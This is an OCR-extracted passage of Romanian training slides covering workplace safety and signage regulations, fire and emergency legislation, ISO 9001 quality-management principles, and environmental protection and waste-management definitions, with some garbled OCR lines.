lucratorilor de la toate posturile de lucru.

= Numarul, amplasarea si dimensiunile cailor si iesirilor de urgenta depind de utilizare,
de echipament si de dimensiunile locurilor de munca, precum si de nhumarul maxim de
persoane care pot fi prezente.

= Usile de iesire in caz de urgenta trebuie sa se deschida spre exterior.
= Usile de iesire de urgenta nu trebuie sa fie incuiate

Iluminatul natural si artificial

« Tn masura in care este posibil, locurile de munca trebuie sa aiba iluminat natural
suficient si sa fie prevazut un iluminat artificial adecvat pentru sanatatea si securitatea
lucratorilor.



HOTARARE nr. 1.028 din 9 august 2006
privind cerintele minime de securitate si sanatate in munca referitoare la
utilizarea echipamentelor cu ecran de vizualizare

DEFINITII:

a)echipament cu ecran de vizualizare - ecran de vizualizare grafic sau alfanumeric,
indiferent de procedeul de afisare folosit;

b)post de lucru - ansamblu care cuprinde un echipament cu ecran de vizualizare,
prevazut cu tastatura, sau un dispozitiv de introducere a datelor si/sau un program
care stabileste interfata operator/masina, accesorii optionale, periferice, inclusiv
unitate de discheta si/sau unitate optica, telefon, modem, imprimanta, suport pentru
documente, scaun, masa sau suprafata de lucru, precum si mediul de munca
inconjurator;

c)lucrator - orice persoana angajata care foloseste in mod obisnuit un echipament cu
ecran de vizualizare pe o durata semnificativa a timpului normal de lucru.



HOTARARE nr. 1.028 din 9 august 2006
privind cerintele minime de securitate si sanatate in munca
referitoare la utilizarea echipamentelor cu ecran de vizualizare

Informarea, instruirea, consultarea si participarea lucratorilor

Articolul 9

(1) lucratorii trebuie sa fie informati asupra tuturor aspectelor legate
de securitatea i sanatatea la postul de lucru, in special asupra
masurilor aplicabile posturilor de lucru - masuri |mplementate

(2)Lucratorii sau reprezentantii lor trebuie sa fie informati cu privire
La toate masurile de securitate si sanatate luate potrivit prezentei
otarari.

Articolul 10

Fiecare lucrator trebuie sa fie instruit cu privire la modalitatile de
utilizare a postului de lucru inainte de a incepe acest tip de activitate
si ori de cate ori organizarea postului de lucru se modifica
semnificativ.



HOTARARE nr. 1.028 din 9 august 2006
privind cerintele minime de securitate si sanatate Tn munca
referitoare la utilizarea echipamentelor cu ecran de vizualizare

Protectia ochilor si a vederii
Articolul 12

Lucratorii trebuie sa beneficieze de un examen corespunzator al
ochilor si al vederii, efectuat de o persoana care are competenta
necesara:

a)inainte de inceperea activitatii la ecranul de vizualizare, prin
examenul medical la angajare;

b)ulterior, la intervale regulate;

c)ori de cate ori apar tulburari de vedere care pot fi cauzate de
activitatea la ecranul de vizualizare.



HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de
sanatate la locul de munca

SEMNIFICATII:

a)semnalizare de securitate si/sau de sanatate - semnalizarea care se
refera la un obiect, o activitate sau o situatie determinata si furnizeaza
informatii ori cerinte referitoare la securitatea si/sau sanatatea la locul
de munca, printr-un panou, o culoare, un semnal luminos ori acustic, o
comunicare verbala sau un gest-semnal, dupa caz;

b)semnal de interzicere - semnalul prin care se Interzice un
comportament care ar putea atrage sau cauza un pericol;

c)semnal de avertizare - semnalul prin care se avertizeaza asupra unui
risc sau unui pericol;

d)semnal de obligativitate - semnalul prin care se indica adoptarea unui
comportament specific;



HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de
munca

SEMNIFICATII:

« e)semnal de salvare sau de prim ajutor - semnalul prin care se dau indicatii privind
iesirile de urgenta ori mijloacele de prim ajutor sau de salvare;

- f)semnal de indicare - semnalul prin care se furnizeaza alte indicatii decat cele
prevazute la lit. b)-e);

e g)panou - semnalul care, prin combinarea unei forme geometrice, a unor culori si a unui
simbol sau a unei pictograme, furnizeaza o indicatie specifica, a carui vizibilitate este
asigurata prin iluminare de intensitate suficienta;

« h)panou suplimentar - panoul utilizat impreuna cu un panou descris la lit. g), care
furnizeaza informatii suplimentare;

 i)culoare de securitate - culoarea careia ii este atribuita o semnificatie specifica;



HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de
munca

SEMNIFICATII:

« j)simbol sau pictograma - imaginea care descrie o situatie sau indica un comportament
specific si care este utilizata pe un panou ori pe o suprafata luminoasa;

 k)semnal luminos - semnalul emis de un dispozitiv realizat din materiale transparente
sau translucide, iluminate din interior ori din spate, astfel incat sa se creeze o suprafata
luminoasa;

* I)semnal acustic - semnalul sonor codificat, emis si difuzat de un dispozitiv realizat n
acest scop, fara folosirea vocii umane sau artificiale;

« m)comunicare verbala - mesajul verbal predeterminat, comunicat prin voce umana sau
artificiala;



HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de munca

e Panouri de
interdictie

(forma rotunda;

p | Ctog ram é nea g r é Fumatul interzis Fumatu]i i;;f;: deschis Interzis accesul pietonilor
pe fond alb,
margine si banda
diagonala rosii)

Interzisi stingerea cu api Accesul interzis persoanelor Apa nepotabila
neautorizate

Interris vehiculelor de A nu se atinge
manipulare a méirfurilor



HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de munca

Panouri de /\ /\ '
avertizare

! B\ /1 !
a)forma
triunghiulara

b)pictograma \ 5
neagra pe fond %

galben, margine
neagra

Vehicule de manipulare Pericol electric Pericol general

Radiatii laser Materiale combustibile

/2\

Camp magnetic putemic Pericol de impiedicare Cadere cu denivelare




HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de munca

Panouri de
obligativitate

a)forma rotunda;

b)pictograma alba
pe fond albastru

Protectie obligatorie a ochilor Protectie obligatorie a capului  Protectie obligatorie a urechilor

Protectie obligatorie a céilor Protectie obligatorie a Protectie obligatorie a mdinilor
respiratorii picioarelor



HOTARARE nr. 971 din 26 iulie 2006
privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de munca

Panouri de salvare si
acordarea primului ajutor

a)forma dreptunghiulara 4
v, v Centru de prim-ajuto;
sau patrata - i

b)pictograma alba pe fond
verde

’

B e W
G Cai/lesiri de salvare
Wi—




HOTARARE nr. 971 din 26 iulie 2006

privind cerintele minime pentru semnalizarea de securitate si/sau de sanatate la locul de munca

Panouri privind materialele
sau echipamentele necesare

pentru  prevenirea Si
stingerea incendiilor
a)forma dreptunghiulara

sau patrata

b)pictograma alba pe fond
rosu

e

Furtun de incendiu

Extinctor Telefon pentru cazurile
de incendiu




HOTARARE nr. 1.425 din 11 octombrie 2006
pentru aprobarea normelor metodologice de aplicare a Legii SSM nr. 319/2006

Articolul 15

Activitatile de prevenire si protectie desfasurate prin modalitatile in cadrul
intreprinderii si/sau al unitatii sunt urmatoarele:

1. identificarea pericolelor si evaluarea riscurilor pentru fiecare
componenta a sistemului de munca, respectiv executant, sarcina de munca,
mijloace de munca/ echipamente de munca si mediul de munca pe locuri de
munca/posturi de lucru;

2. elaborarea, indeplinirea, monitorizarea si actualizarea planului de
prevenire si protectie;

3. elaborarea de instructiuni proprii pentru completarea si/sau aplicarea
reglementarilor de securitate si sanatate in munca, tinand seama de
particularitatile activitatilor si ale unitatii/intreprinderii, precum si ale locurilor
de munca/posturilor de lucru



Identificarea pericolelor si
evaluarea riscurilor

e Pe platforma ETS, |la adresa https://etsacademy.ro/ , gasiti un model
de evaluare de risc pentru personal cu activitate le birou ce utilizeaza
autoturisme de serviciu. Folderul contine urmatoarele documente:

e Fisa de evaluare riscuri

e Fisa de masuri propuse

e Fisa de (Re)Evaluare a locului de munca

e Grafic factori de risc

e Grafic re prezentare procentuala a factorilor de risc
e |nterpretarea rezultatului evaluarii



https://etsacademy.ro/

Instructiuni proprii

e Pe platforma ETS https://etsacademy.ro/ se regasesc trei modele de
Instructiuni proprii - IPSSM pentru :
e Lucrul cu videoterminalele
e Lucrul la birou
 Munca la domiciliu



https://etsacademy.ro/

Situatii de urgenta — Legislatie specifica

 ORDIN nr. 712 din 23 iunie 2005 pentru aprobarea Dispozitiilor generale
privind instruirea salariatilor in domeniul prevenirii si stingerii incendiilor si
Instruirea in domeniul protectiei civile**)

 LEGEA nr. 307 din 12 iulie 2006 (*republicata*)privind apararea impotriva
incendiilor

* ORDIN nr. 163 din 28 februarie 2007pentru aprobarea Normelor generale
de aparare impotriva incendiilor

e HOTARARE nr. 537 din 6 iunie 2007privind stabilirea si sanctionarea
contraventiilor la normele de prevenire si stingere a incendiilor

e ORDIN nr. 166 din 27 iulie 2010pentru aprobarea Dispozitiilor generale
privind apararea impotriva incendiilor la constructii si instalatiile aferente

e ORDIN nr. 262 din 2 decembrie 2010 privind aprobarea Dispozitiilor
Eenerqle de aparare impotriva incendiilor la spatii si constructii pentru
irouri

e LEGE nr. 481 din 8 noiembrie 2004 (*republicata™)privind protectia civila



Generalitati privind apararea impotriva incendiilor

Conform Legii 307/ 2006 — Cap. Il, Sectiunea VI, Art. 19, punctul g) :

Conducatorul institutiei are urmatoarele obligatii principale :

- sa elaboreze instructiunile de aparare impotriva incendiilor si sa stabileasca atributiile ce
revin salariatilor la locurile de munca;

ConformOrdinului 163/ 2007, Art.33, alin.2

Instructiunile de aparare impotriva incendiilor trebuie sa cuprinda:
-prevederile specifice de aparare impotriva incendiilor din reglementarile in vigoare;
-obligatiile salariatilor privind apararea impotriva incendiilor;
-regulile si masurile specifice de aparare impotriva incendiilor pentru exploatarea

instalatiilor potrivit conditiilor tehnice, tehnologice si organizatorice locale, precum si
pentru reparatii, revizii, intretinere, oprire si punere in functiune;

-evidentierea elementelor care determina riscul de incendiu sau de explozie;

-prezentarea pericolelor care pot aparea in caz de incendiu, cum sunt intoxicarile, arsurile,
traumatismele, electrocutarea, iradierea etc., precum si a regulilor si masurilor de
prevenire a acestora.



Cauze potentiale de incendiu

e aparate electrice sub tensiune;instalatii electrice defecte; echipamente
electrice improvizate;

 sisteme de incalzire defecte; mijloace de incalzire improvizate sau
nesupravegheate;

e cosuri, burlane de fum defecte sau necuratate;
e cenusa,jar sau scantei de la sisteme de incalzire;
e fumatul;

e focul deschis;

e trasnet si alte fenomene naturale;

e actiune intentionata



Generalitati privind Situatiile de urgenta

e Situatia de urgenta este un eveniment exceptional cu caracter
nonmilitar, care, ameninta viata sau sanatatea persoanelor,
mediul inconjurator, valorile materiale sau culturale, iar
pentru restabilirea starii de normalitate sunt necesare
adoptarea de masuri si actiuni urgente, alocarea de resurse
specializate si managementul unitar al fortelor si mijloacelor

implicate



Tipuri de Situatii de Urgenta

e cazuri de forta majora determinate de incendii, cutremure, inundatii,
accidente, explozil, avarii, alunecari sau prabusm de teren

 imbolnaviri Tn masa, prabusiri ale unor constructii, instalatii ori amenajari, esuarea
sau scufundarea unor nave, caderi de obiecte din atmosfera ori din Cosmos,
tornade, avalanse, esecul cul serviciilor de utilitati publice si alte calamitati naturale
sinistre grave, evenimente publice de amploare — determinate ori favorizate de
factori de risc specificilll;

 accidentele de aviatie, metrou, feroviare, rutiere cu victime sau persoane
blocate, montane, in pesterl canioane, sau determinate de factori de mediu;

* accidente industriale, explozii, arsurl termice, electrice (inclusiv trasnet), chimice,
fenomene meteo periculoase;

e prabusiri de utilaje, constructii, arbori;

e agresiuni animale cu victime, pericol de agresiune de catre animale, insecte,
muscaturi;



https://ro.wikipedia.org/wiki/Incendiu
https://ro.wikipedia.org/wiki/Cutremur
https://ro.wikipedia.org/wiki/Inunda%C8%9Bie
https://ro.wikipedia.org/wiki/Explozii
https://ro.wikipedia.org/wiki/Nave
https://ro.wikipedia.org/wiki/Situa%C8%9Bie_de_urgen%C8%9B%C4%83#cite_note-OG_nr._21_din_2004-1
https://ro.wikipedia.org/wiki/Transport_aerian
https://ro.wikipedia.org/wiki/Metrou
https://ro.wikipedia.org/wiki/Transport_feroviar_%C3%AEn_Rom%C3%A2nia
https://ro.wikipedia.org/wiki/Transport_rutier
https://ro.wikipedia.org/wiki/Accident_montan
https://ro.wikipedia.org/wiki/Pe%C8%99ter%C4%83
https://ro.wikipedia.org/wiki/Canion
https://ro.wikipedia.org/wiki/Mediu
https://ro.wikipedia.org/wiki/Industrie
https://ro.wikipedia.org/wiki/Explozie
https://ro.wikipedia.org/wiki/C%C4%83ldur%C4%83
https://ro.wikipedia.org/wiki/Electricitate
https://ro.wikipedia.org/wiki/Tr%C4%83snet
https://ro.wikipedia.org/wiki/Chimie
https://ro.wikipedia.org/wiki/Meteorologie
https://ro.wikipedia.org/wiki/Construc%C8%9Bii
https://ro.wikipedia.org/wiki/Arbore
https://ro.wikipedia.org/wiki/Animal
https://ro.wikipedia.org/wiki/Insect%C4%83

SISTEMEUL DE MANAGEMENT
AL CALITATII
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INITIERE

Ce este ISO ?

ISO — Organizatia Internationala de Standardizare:

» formata din organisme de standardizare nationale din 164 de state;

» misiune: dezvoltarea standardizarii si activitatilor reglementate;

» rezultatele activitatii ISO: intelegeri internationale publicate in standar




CERINTE DE CALITATE

SERIA DE STANDARDE ISO 9000

ISO 9000:2015. Sisteme de Management al Calitatii. Principii
fundamentale si vocabular, descrie notiunile fundamentale ale Sistemelor
de Management al Calitatii si specifica terminologia pentru Sistemele de
Management al Calitatii;

ISO 9001:2015. Sisteme de Management al Calitatii. Cerinte, specifica
cerintele unui Sistem de Management al Calitatii pentru organizatiile care
doresc sa demonstreze capabilitatea lor de a furniza produse / servicii care
sa indeplineasca cerintele clientilor precum si cerintele de reglementare
aplicabile, avand drept scop cresterea satisfactiei clientilor;




INITIERE
SERIA DE STANDARDE ISO 9000

ISO 9004:2018. Managementul calitatii. Calitatea unei organizatii.
indrumari pentru obtinerea unui succes durabil, furnizeazd pe baza
celor sapte principii de management al calitatii, indrumari pentru
imbunatatirea performantei organizatiei si cresterea satisfactiei atat a
clientilor, precum si a altor parti interesate;

ISO 19011:2018. Linii directoare pentru auditarea sistemelor de
management, furnizeaza indrumari referitoare la principiile fundamentale
ale auditului, managementul programelor de audit, conducerea auditului
sistemelor de management, precum si calificarea auditurilor sistemelor de
management.




CALITATEA

Calitatea este un concept determinat de client si nu de organizatie
(producator / prestator).

Calitatea este rezultatul EXECUTIEI nu al INSPECTIEI

Calitatea nu se reflecta in cantitatea de transpiratie a organizatiei, ci prin
satisfacerea clientului.

Calitatea defineste si fuga de “bine” si goana dupa “mai bine”. Bine este
dusmanul lui “mai bine”.

Calitatea inseamna:

= pentru angajatii organizatiei:
instructiuni de lucru mai clare;
mai mult control asupra sarcinilor;
comunicare mai buna;

echipe de lucru mai unite;

moral mai bun;

mai multe satisfactii profesionale.
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= pentru afacere:

CALITATEA » mai multé valoare adaugat;

» profit mai mare.

Imbunatatirea calitatii

oroduselor/serviciilor Imbunatatirea calitatii

proceselor
Valoare perceputa . : o
mai mare Preturi mai mari Optimizarea
proceselor
4 1 l
4 Cresterea ) Cresterea cifrei de Scaderea costurilor
segmentului de | afaceri de productie
piata
. y l

Cresterea profiturilor




Calitatea este determinata de toate etapele de realizare
a produsului/serviciului, respectiv de la conceptie la
CALITATEA executie, livrare, exploatare.

Marketing

Servicii post livrare Proiectare

produs

Pla niﬁca re Contractare

Tratarea deseurilor

l

Eliminare, EXpIOata re Furnizori externi
reutilizare Executie
: produs/Prestare
A Realizare s
Intretinere
Inspectie

Montare, punere in
functiune Conservare,

Vanzare, Livrare Ambalare, Depozitare




CALITATEA

Calitatea este rezultatul actiunilor tuturor participantilor la realizarea produ
prestarea serviciului.

Calitatea produsului depinde de mai multi factori:

» nivelul calitativ al materiilor prime si al produsului;

» conceptia / proiectarea produsului;

» sistemul de productie (tehnologia);

> plasarea optima a fazelor de inspectie;

» monitorizarea fluxului tehnologic;

» verificarea echipamentelor de control si productie;

» circuitul documentelor;

> calificarea personalului care executa si care inspecteaza activitati ce influentea
calitatea;

» controlul cu mijloace adecvate;

» intocmirea documentatiei de prezentare a produsului.




Principiile
Managementului calitati

1. Orientarea catre client;

2. Leadership;

3. Angajamentul personalului;

4. Abordarea pe baza de proces;

5. Imbunatatirea;

6. Luarea deciziilor pe baza de dovezi;

7. Managementul relatiilor cu partile interesate.




7 principii ale
Managementului Calitatii

Orientarea catre client

Accentul managementului calitatii se pune pe indeplinirea cerintelor
clientilor si pe incercarea de a depasi asteptarile acestora.

Succesul continuu este atins atunci cand o organizatie atrage si
pastreza increderea clientilor si a altor parti interesate.

Fiecare aspect al interactiunii cu clientul ofera o oportunitate de a
crea mai multa valoare pentru client.

Intelegerea nevoilor curente si viitoare ale clientilor si ale altor parti
interesate contribuie la succesul constant al organizatiei.




7 principii ale
Managementului Calitatii

Leadership

Liderii de la toate nivelurile stabilesc o unitate
a obiectivelor si creaza conditii pentru
atingerea obiectivelor organizatiei.

Crearea unei unitati a obiectivelor si
implicarea persoanelor permite organizatiei
sa isi alinieze strategiile, politicile, procesele
si resursele pentru a-si atinge obiectivele.




3 1]

management

ANEXATA MATRICEA RELATIILOR DINTRE I1SO 9001 SI ISO 27001




Anexa SL / High Level Structure (HLS)

Definegte cadrul generic pentru sistemul / sistemele de
management.

¥ Toate standardele pentru sisteme de management vor adera la
acest cadru si toate standardele in vigoare la data publicarii anexei
(2013) vor migra la noul cadru odata cu revizuirea lor.

¥ Numerele clauzelor majore si titlurile tuturor paragrafelor
standardelor sistemelor de management vor fi identice

¥ Toate standardele noi vor trebui sa respecte urmatoarele cerinte
- Sa aiba aceeasi structura generala sau cuprins - capitole identice,
numar de articol si capitol, titlu de clauza sau articol
— sa aiba text de introducere similar pentru articole similare
— sa foloseasca aceleasi cuvinte pentru cerinte similare
— sa foloseasca aceleasi definitii si termene de baza.




Anexa SL - Structura de nivel superior

Numerotarea clauzelor principale si titlurile din toate standardele de
sisteme de management vor fi identice. Acestea vor fi:

Introducere

Domeniu

Referinte normative
Termeni si definifii
Contextul organizatiei
Leadership

Planificare

Suport

Operare

Evaluarea performantei

= © 0 N O WUV bk W~

I

Imbunatatire.




Reprezentarea structurii standardului
[SO 9001:2015 1n ciclul PDCA

o " - —— — {— ot —— — -\ - -

Organizatia si
contextul acesteia

4)

Satisfactia
clientului

——— —— —— - -

Planificare Evaluarea

Cerintele : %
clientului *I' %, Rezultatele

(6) performantei
i ©) SMC
[
| Produse si
servicii

Nevoile si asteptarilg
partilor interesate |
relevante (4) \

Verificare D

imbunétatire
(10)




4. Contextul organizatiei

4.1 Intelegerea organizatiei si a contextului in care
activeaza

4. 2Intelegerea necesitatilor si asteptarilor partilor interesate
4.3Determinarea domeniului de aplicare al SMC

4.4Sistemul de management al calitatii si procesele sale




5. Leadership

5.1 Leadership si angajament
5.2 Politica

5.3 Roluri organizationale,
responsabilitati si autoritat]




THERE’S ALWAYS CONSEQUENCES
TO YOUR ACTIONS




Lider

Conduce angajati| Coordoneaza angajati

Autoritar Binevoitor
Inspira frica Genereaza entuziasm
Spune “Eu” Spune “Noi”

Pune accent pe | Pune accent pe solutii
probleme
Stie cum se fac | Arata cum se fac lucrurile
lucrurile
Foloseste oameni Dezvolta oameni
Isi asuma creditele| Modest, acorda creditele
Comanda Intreaba

Spune “Du-te” | Spune “Hai sa mergem”




6. Planificare

6.1 Actiuni de tratare a riscurilor si oportunitatilor
6.2 Obiectivele referitoare la calitate si

planificarea realizarii lor

6.3 Planificarea schimbarilor




7.Suport

7.1 Resurse

7.2 Competenta
7.3 Constientizare
7.4 Comunicare

7.5 Informatii documentate




8. Operare

8.1
8.2
8.3
8.4
8.5
8.6
8.7

Planificare si control operational

Cerinte pentru produse si servicii

Proiectarea si dezvoltarea produselor si serviciilor

Controlul proceselor, produselor si serviciilor furnizate din exterior

Productie si furnizare de servicii

Eliberarea produselor si serviciilor

Controlul elementelor de iesire neconforme




9. Evaluarea performantei

9.1 Monitorizare, masurare, analizare si

evaluare

9.2 Audit intern

9.3 Analiza efectuata de management




10. Imbunatitire

10.1 Generalitati
10.2 Neconformitate si actiune corectiva

10.3 Imbunatatire continua




DOCUMENTE SUPORT

* Pe platforma ETS https://etsacademy.ro/ gasiti informatii
documentate pentru sustinerea fiecarui capitol din standardul
ISO 9001. Majoritatea procedurilor pot fi intocmite in comun
cu procedurile privind sistemul de management al securitatii
informatice.



https://etsacademy.ro/
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Proiect cofinantat din Fondul Social European prin Programul Operational Capital Uman 2014 - 2020

Axa prioritara 3: Locuri de munca pentru toti

Apelul pentru proiecte: POCU/860/3/12/Imbunatatirea nivelului de cunostinte/ competente/ aptitudini aferente
sectoarelor economice/ domeniilor identificate conform SNC si SNCDI ale angajatilor

Titlul proiectului: DigitalizelT - Competente digitale pentru angajati

Contract POCU/860/3/12/143014
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Termeni si definitii =5
idefinii B

-

* Mediu = mediul inconjuraror in care functioneaza o

organizatie, care include aerul, apa, pamantul,
resursele naturale, flora, fauna, fiintele umane si
relatiile intre acestea.

Factori de mediu = componentele mediului
inconjurator: aerul, apa, solul, resursele naturale,
flora, fauna, fiintele umane

e Impact asupra mediului = orice modificare a mediului,
daunatoare sau benefica, care rezulta total sau partial
din activitatile, produsele sau serviciile unei organizatii



PROBLEME DE MEDIU

* PROBLEME GLOBALE

Apar la nivelul intregului glob, necesitand actiuni s
concertate din partea tuturor sectoarelor comunitatilor g
locale, nationale si internationale.

* PROBLEME REGIONALE

Apar intr-una sau mai multe regiuni ale lumii, pot
deveni probleme globale, dar nu sunt suficient de
importante pentru a necesita un raspuns global.

* PROBLEME LOCALE

Focalizarea pe ingrijorari locale, necesitand un raspuns
la nivel national sau subnational in cadrul politicii
guvernamentale nationale de mediu.




PROBLEME GLOBALE DE MEDIU

Incélzirea globald  Poluarea apei
Defrisari Degradarea solului
Poluarea aerului Generare deseuri



Incilzirea globala

—

—
-

e " WarbletofiCounecil.org

Schimbarile climatice, cum ar fi incalzirea globala, sunt rezultatul practicilor umane,
cum ar fi emisia de gaze cu efect de sera.

Incalzirea globala duce la temperaturi mai ridicate in oceane si la suprafata terestra,
provocand topirea stratelor de gheata polare, cresterea nivelului marii si modele de
precipitatii nenaturale, cum ar fi inundatii, zapada excesiva si desertificare.
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Aproximativ 30% din suprafata planetei este acoperita de paduri si aproximativ
18 milioane de hectare sunt distruse in fiecare an. Aproape toata aceasta
defrisare provine din exploatare si ardere.

Padurile naturale nu actioneaza doar ca rezervoare pentru biodiversitate, ci
ajuta si la mentinerea carbonului din atmosfera si din oceane.



Poluarea atmosferei

Sursele de poluare atmosferica sunt variate si pot fi antropice sau
naturale:

« arderea combustibililor fosili Tn producerea de energie electrica,
transporturi, industrie si gospodarii;

« procese industriale si utilizarea solventilor, de exemplu in industria
chimica si extractiva;

e agricultura;

» tratarea deseuirilor;

« eruptiile vulcanice, praful aeropurtat, dispersia sarii marine si emisiile
de compusi organici volatili din plante



Poluarea apei

 Calitatea apei este influentata prin aporturi directe, de exemplu
de la o fabrica sau o statie de epurare, care se numesc , surse
punctuale de poluare”.

* De asemenea, este influentata de poluarea din surse raspandite,
de exemplu prin nutrienti si pesticide din agricultura si poluanti
eliberati in aer de industrie, asa-numita ,,poluare difuza”.



Degradarea solului

¥ otk S . o .’
‘&=~ “Soil degradation
- dagﬁcﬁtural pr'actlces

Pasunatul  excesiv, plantatile = monoculturale,  eroziunea,
compactarea solului, supraexpunerea la poluanti si conversia
utilizarii terenului sunt doar cateva dintre modalitatile prin care solul

este deteriorat.



Generarea deseurilor

Consumul excesiv de resurse si crearea de materiale plastice creeaza o criza
globala de eliminare a deseurilor. Tarile dezvoltate sunt renumite pentru
producerea unei cantitati excesive de gunoi si eliberarea acestor deseuri in
oceane.



Abordarea globala cu privire la mediu

e Declaratia Conferintei Natiunilor Unite privind Mediul
(Declaratia de la Stockholm) - 5 - 16 iunie 1972 - prima
Conferinta ONU privind mediul.

e A fost initiat Conceptul de dezvoltare durabila

e ,Dezvoltarea durabila este dezvoltarea care urmareste
satisfacerea nevoilor prezentului, fara a compromite
posibilitatea generatiilor viitoare de a-si satisface propriile
nevoi"

e In cadrul Conferintei au fost adoptate 26 de principii privind
drepturile si obligatiile statelor in domeniul mediului precum si
caile si mijloacele de dezvoltare a cooperarii internationale;



Abordarea globala cu privire la mediu

,Cconferinta ONU de la Rio privind mediul si dezvoltarea " 3-14 iunie

* Primul principiu: Fiintele umane reprezinta obiectivul central al
preocuparii pentru dezvoltarea durabila. Acestea au dreptul la o viata
sanatoasa si productiva in armonie cu natura.

Al doilea principiu: statele au dreptul suveran de a-si exploata propriile
resurse conform politicilor lor de mediu si dezvoltare si responsabilitatea
de a se asigura ca activitatile care tin de competenta lor sau care sunt
controlate de acestea nu produc daune mediului altor state sau zone din
afara jurisdictiei nationale.

* Al treilea principiu: Dregtul la dezvoltare trebuie respectat pentru a
satisface in mod echitabil nevoile de dezvoltare si de mediu ale
generatiilor prezente si viitoare.

« Al patrulea principiu: Pentru a asigura o dezvoltare durabila, protectia
mediului va reprezenta o parte integranta din procesul de dezvoltare,
neputand fi considerat un element distinct.

» Al cincilea principiu: Toate statele si toti oamenii trebuie sa contribuie la
realizarea sarcinii esentiale de eradicare a saraciei ca o conditie
indispensabila pentru dezvoltarea durabila pentru a reduce diferentele
dintre standardele de trai si pentru a satisface mai bine nevoile majoritatii
oamenilor din lume.,



PROBLEME REGIONALE DE MEDIU
Istoria legislatiei de mediu a Uniunii Europene

« 1972 — Summit-ul de la Paris a evidentiat necesitatea acordarii unei atentii
deosebite protectiei mediului in contextul expansiunii economice si a
imbunatatirii standardelor de viata.

» 1987 — Actul Unic European reprezinta un punct de referinta al politicii
europene de mediu, fiind mentionata pentru prima data in cadrul unui tratat
al Comunitatii Europene.

* 1997 - La nivelul Uniunii Europene, dezvoltarea durabila a devenit un
obiectiv politic incepand cu anul 1997, prin includerea sa in , Tratatul de la
Maastricht’, tratat ce a conferit protectiei mediului un statut complet in
cadrul politicilor europene.

« 1999 - Tratatul de la Amsterdam a consolidat baza legala a politicii vizand
qutec;j;la mediului precum si promovarea dezvoltarii durabile in cadrul
niunii Europene.

« 2001 = Summit-ul de la Goetheborgunde, unde a fost adoptata Strategia de
Dezvoltare Durabila a UE

» 2007 - in cadrul Summit-ului de la Lisabona, a fost semnat ,Tratatul de la
Lisabona’, denumit oficial ,Tratatul de |la Lisabona de amendare a Tratatului
privind Uniunea Europeana si Tratatul instituind Comunitatea Europeana’,
care cuprinde mai multe protocoale privind schimbarile climatice si lupta
impotriva incalzirii globale, precum ]§| o serie de amendamente cu privire la
solidaritatea in probleme legate de furnizarea de energie si a schimbarilor in
domeniul politicii energetice europene



PERSPECTIVA ROMANIEI ASUPRA
DEZVOLTARII DURABILE

AGENDA 2030 PENTRU DEZVOLTARE DURABILA

Romania s-a alaturat liderilor celor 193 state membre ale ONU la
Summit-ul privind dezvoltarea din septembrie 2015 adoptand Agenda
2030 pentru dezvoltare durabila dintre care:

* Energie curata si la preturi accesibile — Asigurarea accesului tuturor
la energie la preturi accesibile, intr-un mod sigur, durabil si modern.

» Orase si comunitati durabile — Dezvoltarea oraselor si a agezarilor
umane pentru ca ele sa fie deschise tuturor, sigure, reziliente si
durabile.

e Consum si productie responsabile — Asigurarea unor tipare de
consum si productie durabile.

* Actiune climatica — Luarea unor masuri urgente de combatere a
schimbarilor climatice si a impactului lor.

- Viata acvatica — Conservarea si utilizarea durabila a oceanelor,
marilor si a resurselor marine pentru o dezvoltare durabila.



ETAPE DE EVOLUTIE iN MANAGEMENTUL DE MEDIU
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IGNORAREA PROBLEMELOR DE
MEDIU




RESPECTAREA PREVEDERILOR
LEGALE IN DOMENIUL
PROTECTIEI MEDIULUI



Evaluare initiala de mediu, Acord de mediu

Pentru proiectele noi de investitii, este necesar a
se obtine punct de vedere de la AGENTIA
JUDETEANA DE MEDIU — posibil sa fie necesara _
obtinerea unui Acord de Mediu Agentia Nationala pentru Protectia Mediului

e Legea 292/2018 - privind
evaluarea impactului anumitor
proiecte publice si private
asupra mediului

$ °*Acord de mediu - actul
| administrativ emis de catre
autoritatea competenta pentru
protectia mediului prin care
sunt stabilite conditiile si
masurile  pentru  protectia
mediului, care trebuie
respectate in cazul realizarii
unui proiect;




AUTORIZATIE DE MEDIU

Pentru activitatile cu impact semiuficativ asupra mediului
este obligatorie obtinerea unei autorizatii de mediu

Documentatia pentru obtinere autorizatie de mediu se intocmeste in
conformitate cu ORDINUL nr. 1.798 din 19 noiembrie 2007



AUTORIZATIILE DE MEDIU 5E SUPUN
PROCEDURII DE VIZARE ANUALA

ORDIN nr. 1.171 din 5 noiembrie 2018

privind aprobarea Procedurii pentru aplicarea
vizei anuale a autorizatiei de mediu si
autorizatiei integrate de mediu




OUG 92/2021
privind regimul deseur;

/

\_

DESEU

orice substanta sau obiect pe care
detinatorul ii arunca ori are intentia
sau obligatia sa ii arunce;

\

%
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(inraaictrari ictarice- vtilizara localizara)
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or - definitii
~~ DESEUPERICULOS

orice deseuri care prezinta una sau mai multe
din proprietatile periculoase prevazute in

anexa nr. 4 la lege (inflamabil, nociy, irritant,

i tc )
T o To)

1.

4.

GESTIONAREA DESEURILOR:

Colectare
2. Transport
3. Valorificare
Eliminare
5. supervizarea acestor operatiuni
6. intretinerea ulterioara a

amplasamentelor de eliminare,
7. actiunile intreprinse de un
comerciant sau un broker




Gestionarea deseurilor — definitii

/~ COLECTARE "\ i

colectarea in cadrul

strangerea deseurilor, c3reia un flux de
inclusiv sortarea si _ g deseuri este pastrat
stocarea preliminara § S separat in functie de

a deseurilor in é’ § tipul si natura
vederea transportarii e deseurilor, cu scopul
la o instalatie de - de a facilita tratarea
tratare; ifica
TRATARE

operatiunile de valorificare sau eliminare, inclusiv pregatirea prealabila
valorificarii sau eliminarii;




Gestionarea deseurilor — definitii

VALORIFICARE - orice operatiune
care are drept rezultat principal faptul
ca deseurile servesc unui scop util prin
inlocuirea altor materiale care ar fi fost
utilizate intr-un anumit Scop sau faptul
ca deseurile sunt pregatite pentru a

putea servi scopului respectiv in

